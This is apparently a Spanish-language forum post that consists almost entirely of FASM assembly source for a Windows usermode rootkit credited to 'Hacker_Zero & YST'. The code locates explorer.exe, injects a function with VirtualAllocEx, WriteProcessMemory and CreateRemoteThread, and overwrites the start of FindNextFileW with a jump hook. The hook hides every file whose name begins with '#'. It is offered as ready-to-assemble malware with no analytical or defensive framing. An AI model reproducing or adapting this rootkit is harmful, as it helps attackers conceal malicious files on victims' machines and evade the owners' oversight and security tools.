Código: Seleccionar todo
;-------------------------------------------------------------------------------------------------
; RootKit por Hacker_Zero & YST
; RootKit sin dll que Hookea FindNextFileW en explorer ocultando los archivos que
;comiencen por '#'
;-------------------------------------------------------------------------------------------------
include 'C:\fasm\include\win32ax.inc'
.code
proc start
locals
ProcessName db "explorer.exe",0
endl
stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
cmp eax,-1
jne salir
invoke MessageBoxA,0,"No se encontró el proceso!",0,0
salir:
invoke ExitProcess,0
endp
proc Inyectar,ProcessName,Tamaño,Funcion,Datos
locals
struct PROCESSENTRY32
dwSize dd ?
cntUsage dd ?
th32ProcessID dd ?
th32DefaultHeapID dd ?
th32ModuleID dd ?
cntThreads dd ?
th32ParentProcessID dd ?
pcPriClassBase dd ?
dwFlags dd ?
szExeFile rb MAX_PATH
ends
pInfo PROCESSENTRY32 ?
Handle dd ?
PID dd ?
DirFuncion dd ?
hProcess dd ?
endl
pushad
;Obtenemos el PID del proceso
invoke CreateToolhelp32Snapshot,0x00000002,0
mov [Handle],eax
mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax
BuclePid:
invoke Process32Next,[Handle],addr pInfo
cmp eax,0
je FinProcBuclePID ;No hay más procesos
invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
cmp eax,0
jne BuclePid
jmp FinBuclePid
FinProcBuclePID:
invoke CloseHandle,[Handle]
popad
mov eax,-1
ret
FinBuclePid:
invoke CloseHandle,[Handle]
push [pInfo.th32ProcessID]
pop [PID]
;Lazamos el proceso
invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
mov [hProcess],eax
;Reservamos espacio en el proceso
invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
;Escribimos los datos en memoria
invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
;Creamos el hilo
invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
popad
mov eax,1
ret
endp
proc FuncionInyectada,pGetProcAddress
locals
BaseKernel32 dd ?
OriginalProtection dd ?
endl
;Leemos el PEB para obtener la base de KERNEL32.DLL
xor eax, eax
add eax,[fs:eax+30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
mov [BaseKernel32],eax
;Obtenemos la dirección de FindNextFileA
stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
mov ebx,eax
stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
;Calculamos el delta offset
call delta
delta:
pop edx
sub edx,delta ;edx=delta
;Lo guardamos en la pila
push edx
;Guardamos la dirección de FindNextFileW en la variable dirFindNextFileW
add edx,dirFindNextFileW
mov dword[edx],ebx
pop edx
mov ecx,edx
add ecx,ApiOriginal
mov al,byte[ebx]
mov byte[ecx],al
mov byte[ebx],0xE9 ;0xE9=jmp
inc ebx
inc ecx
mov eax,dword[ebx]
mov dword[ecx],eax
mov eax,FuncionHook
add eax,edx
sub eax,ebx
sub eax,4
mov dword[ebx],eax ;la dirección a la que saltará
add ebx,4
add ecx,4
mov ax,word[ebx]
mov word[ecx],ax
mov word[ebx],0x9090
ret ;Terminamos, ya hemos modificado el principio de la api,
;cuando el programa llame a FindNextFileW, saltará a FuncionHook
;--------------------------------------------------------------------------------------------------------------------------------------------
;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a MessageBox+7
ApiOriginal:
;edx=delta
;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
nop
nop
nop
nop
nop
nop
nop
add edx,dirFindNextFileW ;Obtenemos la dirección de FindNextFileW leyendo
mov eax,dword[edx] ;la variable dirFindNextFileW y la guardamos en eax
add eax,7 ;Nos desplazamos 7 bytes
jmp eax ;Saltamos a FindNextFileW+7
;--------------------------------------------------------------------------------------------------------------------------------------------
;Función a la que salta el programa cuando se llama a la API hookeada
proc FuncionHook,hFindFile,lpFindFileData
Volver:
;Obtenemos el delta offset
call delta2
delta2:
pop edx
sub edx,delta2
;Llamamos a nuestro buffer
push [lpFindFileData]
push [hFindFile]
mov ecx,edx
add ecx,ApiOriginal
call ecx
cmp eax,0
je Retornar
mov ebx,[lpFindFileData]
add ebx,44
cmp byte[ebx],'#'
jne Retornar
jmp Volver
Retornar:
ret
endp
;-------------------------------------------------------------------------------------------------------------------------------------------
dirFindNextFileW dd ?
endp
FINFuncion:
.end start
Saludos ;)